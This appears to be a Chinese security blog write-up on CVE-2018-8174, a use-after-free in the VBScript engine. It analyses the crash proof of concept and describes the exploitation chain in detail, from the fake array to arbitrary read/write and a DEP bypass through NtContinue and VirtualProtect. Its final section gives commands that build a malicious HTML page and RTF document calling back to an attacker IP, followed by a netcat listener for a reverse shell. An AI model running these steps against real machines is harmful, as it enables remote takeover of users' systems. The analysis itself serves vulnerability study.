VBScript引擎远程代码执行漏洞之CVE-2018-8174分析与利用(更新)

阅读量    308155 | 评论 1

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

一、漏洞简介

VBScript引擎处理内存中对象的方式中存在一个远程执行代码漏洞。该漏洞可能以一种攻击者可以在当前用户的上下文中执行任意代码的方式来破坏内存。成功利用此漏洞的攻击者可以获得与当前用户相同的用户权限。如果当前用户使用管理用户权限登录,则成功利用此漏洞的攻击者可以控制受影响的系统。然后攻击者可以安装程序; 查看,更改或删除数据; 或创建具有完全用户权限的新帐户。

在基于Web的攻击情形中,攻击者能通过Internet Explorer利用此漏洞的特定网站,然后诱使用户查看该网站。攻击者还可以在承载IE呈现引擎的应用程序或Microsoft Office文档中嵌入标记为安全初始化ActiveX控件。攻击者还可以利用受到破坏的网站和接受或托管用户提供的内容或广告的网站。这些网站可能包含可能利用此漏洞的特制内容。

201858日,微软发布了安全补丁,影响流行的大部分系统版本。

漏洞基本信息

漏洞ID CVE-2018-8174
漏洞名称 Microsoft VBScript引擎远程执行代码漏洞
漏洞类型 远程代码执行
威胁类型 UAF
影响系统版本 Windows 7 x86x64版本、RT8.1Server2008R2/2012R2/20168.110及服务器等版本

 

二、漏洞测试

系统环境 Win7 32
IE IE8
EXP https://www.exploit-db.com/exploits/44741/

 

三、漏洞原理

由于样本混淆严重,部分代码见图1,这里采用简化POC进行分析,代码见图2

1 样本采用了严重混淆

2 Crash Poc

Crash Poc中定义两个数组array_aarray_b,并声明了一个类MyTest,且重载了析构函数Class_TerminateUAF中创建MyTest的实例赋值给数组array_a (1),并通过Erase array_a清空array_a中的元素,在析构array_a中的元素的时候会触发脚本中Class_Terminate的调用,在Class_Terminate中增加了一个array_b(0)MyTest实例的引用(MyTest实例引用计数+1),再通过array_a (1)= 1删除array_a (1) MyTest实例的引用(MyTest实例引用计数-1)来平衡引用计数,这时候MyTest实例会被释放,但是array_b(0)仍然保留了这个MyTest实例的引用,从而array_b(0)指向了被释放的MyTest实例的内存,最终在MyTestVuln中通过b(0) = 0访问未分配内存触发漏洞。

当我们启用了页堆的IE浏览器运行这个PoC时,我们可以观察到OLEAUT32!VariantClear函数会发生崩溃:调用被释放的内存时出现访问冲突(Access Violation)异常。

从堆信息中可以看到eax(0x14032fd0)vbscript!VbsErase的调用栈中被释放了,vbscript!VbsErase即对应了脚本中的Erase,而eax正是被VBScriptClass::Release函数释放的VBScriptClass对象也就是脚本中的MyTest实例。VBScriptClass::Release的逻辑如下图:

VBScriptClass::Release中首先对VBScriptClass的引用计数-1&VBScriptClass+0×4),如果引用计数=0则调用VBScriptClass::TerminateClass,调用VBScriptClass::TerminateClass时因为在脚本中重载了Class_Terminate函数,所以获得了一次脚本执行的机会,这里就可以在释放VBScriptClass的内存前将即将释放的VBScriptClass内存地址保存脚本控制的变量中(Set array_b(0) =array_a(1)),并通过array_a (1) = 1平衡引用计数,最终释放内存。

Set array_a(1) = New MyTest时,VBScriptClass引用计数为2

Erase array_a 返回后,MyTest指向的内存已释放,但array_b(0)仍指向这块被释放的内存,

形成了悬挂指针,见下图:

 

四、漏洞利用分析

UAF漏洞利用的关键是如何用这个悬挂指针来操作内存。该漏洞利用多次UAF来完成类型混淆,通过伪造精数组对象完成任意地址读写,最终通过构造对象后释放来获取代码执行,代码执行没有使用传统的ROP技术或GodMod技术,而是通过脚本布局Shellcode利用。

1)      伪造数组达到任意写目的

通过UAF制造2个类的mem成员指向的偏移相差0x0c字节,通过对2个对象mem成员读的写操作伪造一个0x7fffffff大小的数组。

伪造的数组大致情况是:一维数组,元素有7fffffff个,每个元素占用1字节,元素内存地址为0。所以该数组可访问的内存空间为0x000000000x7ffffffff*1。因此通过该数组可以任意地址读写。但是在lIlIIl在存放的时候,存放的类型是string类型,故只需要将该数据类型将会被修改为0x200C,即VT_VARIANT|VT_ARRAY,数组类型,即可达到目的。

2)      读取指定参数的内存数据

攻击代码中,主要使用上面的函数来读取参数所指定的内存地址的数据。利用思路是在VBS中数据类型为bstr类型,通过vblenb(bstr xx)返回字符串地址前4个字节的内容(即bstr类型size域内容)的特性,获取指定内存读能力。 如上述代码所示,假如传进来的参数为addr0x11223344),首先该数值加4,为0x11223348,然后设置variant类型为8string类型)。然后调用len函数,发现是BSTR类型,vbscript会认为其向前4字节即0x11223344就是存放长度的地址内存。因此执行len函数,实际上就返回了制定参数内存地址的值。

3)      获取关键DLL基址

通过DOSmodeSearch获取。

通过泄露CScriptEntryPoint对象的虚函数表地址,该地址属于Vbscript.dll

由于vbscript.dll导入了msvcrt.dll,因此通过遍历vbscript.dll导入表获取msvcrt.dll基地址, msvcrt.dll又引入了kernelbase.dllntdll.dll,最后可以获取NtContinueVirtualProtect函数地址。

4)      绕过DEP执行shellcode

a)      利用任意读写的手段修改某个VARtype类型为0x4d,再赋值为0让虚拟机执行VAR::Clear函数,如下图显示。

b)      通过精心控制使代码执行ntdll!ZwContinue函数,第一次参数CONTEXT结构体也是攻击者精心构造的,见下图。

c)      ZwContinue的第一个参数是指向CONTEXT结构体的指针,可计算出EIPESPCONTEXT中的偏移。

d)      实际运行时CONTEXT中的EipEsp的值以及攻击者的方法,见下图。

攻击者将CONTEXT中的EIP设置为VirutalProtect,ESP中的返回地址和VirtualProtect的第一个参数,都设置为shellcode的起始地址。当ZwContinue执行后直接跳到VirtualProtect第一条指令开始执行,

根据攻击者构造的参数将shellcode所在内存设置为可执行状态,当VirtualProtect返回时就会跳到shellcode执行。

最后调用WinExec弹出计算器。

 

五、MSF利用

环境准备

目标机

Win7以及安装具有该漏洞的office

攻击机

Kali linux

Msf组件

https://github.com/Sch01ar/CVE-2018-8174_EXP

生成带有恶意 VBscript html 页面和 word 文档

python CVE-2018-8174.py -u http://192.168.106.139/exploit.html -o msf.rtf -i 192.168.106.139 -p 4444

explot.html 复制到 /var/www/html目录,

msf.rtf复制到 /root/.msf4/local目录。

开启 apache 服务

nc监听4444端口

在靶机的 IE 浏览器打开恶意 URL,或者打开 word 打开 msf.rtf

收到反弹shell

 

参考资料:

http://blogs.360.cn/post/cve-2018-8174-en.html

http://www.freebuf.com/vuls/172983.html

更多漏洞播报:四维创智攻防实验室

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多